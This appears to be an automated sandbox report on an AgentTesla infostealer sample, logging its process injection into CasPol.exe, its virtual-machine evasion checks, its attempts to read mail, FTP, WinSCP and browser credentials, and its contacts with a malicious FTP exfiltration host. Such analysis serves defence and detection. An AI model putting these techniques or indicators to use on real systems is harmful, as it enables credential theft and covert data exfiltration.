File opened: C:\Users\user\AppData\Roaming\newapp\newapp.exe:Zone.Identifier read attributes | delete

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe TID: 5296	Thread sleep count: 299 > 30
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe TID: 2400	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1324	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 2148	Thread sleep count: 9649 > 30
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe TID: 2100	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe TID: 1116	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Window / User API: threadDelayed 9649

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Thread delayed: delay time: 922337203685477

Source: CasPol.exe, 0000000A.00000003.399211019.000000000590A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 10_2_05DF7BF0 LdrInitializeThunk,

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 402000
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 438000
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 43E000
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 2CD008

.NET source code references suspicious native API functions

Source: MACHINE SPECIFICATIONS.exe, C6ean/Ough6.cs	Reference to suspicious API methods: ('Nic8', 'GetProcAddress@kernel32'), ('Ph2ne', 'VirtualProtect@kernel32.dll'), ('Joi3', 'LoadLibraryA@kernel32')
Source: 10.0.CasPol.exe.400000.0.unpack, A/C1.cs	Reference to suspicious API methods: ('A', 'VirtualAllocExNuma@kernel32.dll')
Source: 10.0.CasPol.exe.400000.0.unpack, A/e2.cs	Reference to suspicious API methods: ('A', 'MapVirtualKey@user32.dll')

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Queries volume information: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Queries volume information: C:\Users\user\AppData\Roaming\newapp\newapp.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Queries volume information: C:\Users\user\AppData\Roaming\newapp\newapp.exe VolumeInformation

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 10.0.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.768390327.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 688, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.768390327.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 688, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 10.0.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.768390327.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 688, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	211 Process Injection	1 Disable or Modify Tools	2 OS Credential Dumping	114 System Information Discovery	Remote Services	11 Archive Collected Data	1 Exfiltration Over Alternative Protocol	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Deobfuscate/Decode Files or Information	11 Input Capture	111 Security Software Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	1 Credentials in Registry	1 Process Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	3 Software Packing	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	11 Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1 Application Window Discovery	SSH	1 Clipboard Data	Data Transfer Size Limits	23 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	131 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	211 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Files and Directories	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
MACHINE SPECIFICATIONS.exe	59%	Virustotal		Browse
MACHINE SPECIFICATIONS.exe	73%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
MACHINE SPECIFICATIONS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\newapp\newapp.exe	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
10.0.CasPol.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8		Download File

Domains

Source	Detection	Scanner	Link
api.ipify.org.herokudns.com	0%	Virustotal	Browse
c-0001.c-msedge.net	0%	Virustotal	Browse
ftp.electrobist.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	URL Reputation	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	URL Reputation	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
https://api.ipify.orgftp://ftp.electrobist.comuser1	0%	Avira URL Cloud	safe
https://eyUBHCqVhczCNfHAY6U.org	0%	Avira URL Cloud	safe
http://ftp.electrobist.com	100%	Avira URL Cloud	malware
http://xgrPBN.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org.herokudns.com	3.220.57.224	true	false	0%, Virustotal, Browse	unknown
c-0001.c-msedge.net	13.107.4.50	true	false	0%, Virustotal, Browse	unknown
ftp.electrobist.com	51.195.62.160	true	true	1%, Virustotal, Browse	unknown
api.ipify.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.ipify.org	CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false		high
https://eyUBHCqVhczCNfHAY6U.org	CasPol.exe, 0000000A.00000002.768390327.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000002.772635350.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xgrPBN.com	CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ftp.electrobist.com	CasPol.exe, 0000000A.00000002.772635350.0000000002B66000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000002.772655142.0000000002B6A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.orgftp://ftp.electrobist.comuser1	CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

